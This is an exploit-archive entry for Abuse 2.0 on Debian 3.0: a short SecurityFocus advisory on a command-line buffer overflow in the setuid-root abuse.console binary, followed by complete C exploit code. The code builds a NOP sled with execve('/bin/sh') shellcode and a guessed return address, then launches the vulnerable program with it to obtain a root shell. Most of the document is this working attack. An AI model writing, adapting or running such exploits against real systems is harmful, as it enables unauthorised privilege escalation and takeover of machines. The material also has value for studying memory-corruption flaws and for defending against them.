Abuse 2.0 - Local Buffer Overflow

/*
source: https://www.securityfocus.com/bid/6094/info

Vulnerabilities have been discovered in two files used by Abuse.

By passing an execessively long commandline argument to Abuse, it is possible to overrun a buffer. Exploiting this issue could allow a local attacker to overwrite sensitive memory variables, resulting in the execution of arbitrary code, within the context of Abuse process.

It should be noted that one of the affected files is installed setuid root.

It should also be noted that Abuse 2.00, packaged and distributed with the x86 architecture of Debian Linux 3.0 has been reported vulnerable. It is not yet known if other packages are affected by this issue. 
*/

	 /*          Abuse.console version 2.0 Exploit           */
	/*            By Girish<girish@mec.ac.in>                

                     <Tested on Debian 3.0 woody>                */

#include<stdio.h>
#define RET 0xbffff55a
#define LEN 980
#define NOP 0x90

static char shellcode[]=
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


long esp(void)
{
	__asm("movl %esp,%eax");
}

void  main(int argc,char *argv[])
{
	
	char cmd[1000];
	int i,x;
	long  retn;
	char buff[LEN];
	
	
	printf("\nUsage :- %s <offset>\n..",argv[0]);
	
	if(argc>1)
		retn=esp()-atoi(argv[1]);
	else
		retn=RET;

	printf("Using return Adress :- ",retn );

	for(i=0;i<LEN;i+=4)
	{
		*(long*)&buff[i]=retn;
	}

	for(i=0;i<(LEN-(strlen(shellcode)+8));i++)
	{
		*(buff+i)=NOP;

	}

	memcpy(buff+i,shellcode,strlen(shellcode));

	sprintf(cmd,"/usr/lib/games/abuse/abuse.console -net %s",buff);

	puts("executing .......");
	
	system(cmd);
	
	return;
}